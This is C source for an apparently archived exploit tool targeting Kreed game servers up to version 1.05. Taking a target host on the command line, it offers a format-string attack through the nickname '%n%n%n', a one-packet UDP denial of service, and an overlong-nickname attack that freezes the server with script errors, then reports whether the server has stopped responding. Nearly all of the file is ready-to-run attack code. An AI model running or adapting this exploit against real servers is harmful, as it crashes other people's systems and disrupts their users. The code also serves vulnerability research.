/* by Luigi Auriemma */ #include #include #include #include /* Read/Write bits to buffer 0.1.1 by Luigi Auriemma e-mail: aluigi@altervista.org web: http://aluigi.altervista.org max 32 bits numbers supported (from 0 to 4294967295). Probably not the fastest bit packing functions existent, but I like them. */ unsigned long read_bits( // number read unsigned long bits, // how much bits to read unsigned char *in, // buffer from which to read the number unsigned long in_bits // position of the buffer in bits ) { unsigned long seek_bits, rem, seek = 0, ret = 0, mask = -1L; if(bits > 32) return(0); if(bits < 32) mask = (1 << bits) - 1; for(;;) { seek_bits = in_bits & 7; ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek; rem = 8 - seek_bits; if(rem >= bits) break; bits -= rem; in_bits += rem; seek += rem; mask = (1 << bits) - 1; } return(ret); } unsigned long write_bits( // position where the stored number finishs unsigned long data, // number to store unsigned long bits, // how much bits to occupy unsigned char *out, // buffer on which to store the number unsigned long out_bits // position of the buffer in bits ) { unsigned long seek_bits, rem; if(bits > 32) return(out_bits); if(bits < 32) data &= ((1 << bits) - 1); for(;;) { seek_bits = out_bits & 7; *(out + (out_bits >> 3)) &= (1 << seek_bits) - 1; // zero *(out + (out_bits >> 3)) |= (data << seek_bits); rem = 8 - seek_bits; if(rem >= bits) break; out_bits += rem; bits -= rem; data >>= rem; } return(out_bits + bits); } #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define BUFFSZ 2048 // 1400 is enough for Kreed #define PORT 28902 #define TIMEOUT 3 #define KREEDVER 33 #define NICKNAME "%n%n%n" #define INFO "get_info" #define CHALL "get_challenge\n" #define CONNECT "connect %d %d %d name '%s' model 'mifs/players/leg_cmn_c1_MP.mif' string 'no info' gender 'male' rate 100000\n" #define SCRIPTERR 100 // 30 is enough #define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); #define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); #define RECVT if(timeout(sd) < 0) { \ fputs("\n" \ "Error: socket timeout, no reply received\n" \ "\n", stdout); \ exit(1); \ } \ RECV; int build_kreed_pck(u_char *buff, int type, u_char *data); void read_kreed_pck(u_char *buff, int len); void kreed_info(void); int timeout(int sock); u_long resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { int sd, len, challenge, attack, version = KREEDVER; u_short port = PORT; u_char *buff, *tmp, *p, *nick = NICKNAME; setbuf(stdout, NULL); fputs("\n" "Kreed <= 1.05 format string, message too long and scripts bugs "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(%d)]\n" "\n" "Attack:\n" " 1 = in-game format string in client's nickname\n" " 2 = Denial of Service caused by a packet of 1401 or more bytes\n" " 3 = in-game annoying script dialog errors caused by too long nickname or model\n" " values. The server is freezed until the messages are on the screen.\n" "\n", argv[0], port); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif attack = atoi(argv[1]); if((attack < 1) || (attack > 3)) { fputs("\nError: you can only choose between the available attacks\n\n", stdout); exit(1); } if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); fputs("- request informations:\n", stdout); kreed_info(); buff = malloc(BUFFSZ); if(!buff) std_err(); if(attack == 2) { fputs("- start \"Message too long\" DoS attack:\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); memset(buff, 0x00, BUFFSZ); fputs("- send BOOM packet\n", stdout); SEND(buff, BUFFSZ); close(sd); } else { if(attack == 1) { fputs("- start format string attack:\n", stdout); } else if(attack == 3) { fputs("- start annoying script errors attack:\n", stdout); nick = malloc(SCRIPTERR + 1); if(!nick) std_err(); memset(nick, 'a', SCRIPTERR); nick[SCRIPTERR] = 0x00; } tmp = malloc(BUFFSZ); if(!tmp) std_err(); for(;;) { // loop needed for the version handling sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); len = build_kreed_pck( buff, 148, // challenge CHALL); fputs("- send challenge request\n", stdout); SEND(buff, len); RECVT; read_kreed_pck(buff, len); sscanf(buff, "challenge %d", &challenge); sprintf( tmp, CONNECT, version, (int)(time(NULL) & 0xffff), // random port challenge, nick); len = build_kreed_pck( buff, 988, // connect tmp); fputs("- send join request\n", stdout); SEND(buff, len); if(timeout(sd) < 0) { fputs("- server is temporary full or is already crashed, I check it\n", stdout); close(sd); break; } RECV; close(sd); read_kreed_pck(buff, len); if(!strstr(buff, "client_connect")) { p = strstr(buff, "version"); if(p) { sscanf(p + 8, "%d", &version); printf("- set version number to %d\n", version); continue; } printf("\n" "Error: your player has not been accepted for the following reason:\n" "\n" "%s\n" "\n", buff); exit(1); } break; // break if success } } sleep(ONESEC); fputs("- check server:\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); len = build_kreed_pck( buff, 148, // challenge CHALL); SEND(buff, len); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } int build_kreed_pck(u_char *buff, int type, u_char *data) { u_long bits; memset(buff, 0x00, BUFFSZ); bits = write_bits(12, 32, buff, 0); bits = write_bits(type, 16, buff, bits); bits = write_bits(0xfffffff, 28, buff, bits); while(*data) { bits = write_bits(*data, 8, buff, bits); data++; } if(bits & 7) return((bits >> 3) + 1); return(bits >> 3); } void read_kreed_pck(u_char *buff, int len) { u_long bits = 32, check; u_char *p; check = read_bits(32, buff, 0); if(check != 12) { printf("\nError: server has replied with unexpected data (0x%08lx)\n\n", check); exit(1); } read_bits(16, buff, bits); bits += 16; read_bits(28, buff, bits); bits += 28; for(len -= (bits >> 3), p = buff; len; len--) { *p++ = read_bits(8, buff, bits); bits += 8; } *p = 0x00; // useless } void kreed_info(void) { int sd, len; u_char *buff; buff = malloc(BUFFSZ); if(!buff) std_err(); len = build_kreed_pck( buff, 124, // info INFO); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); SEND(buff, len); RECVT; close(sd); read_kreed_pck(buff, len); printf("%s\n\n", buff); free(buff); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-12-02]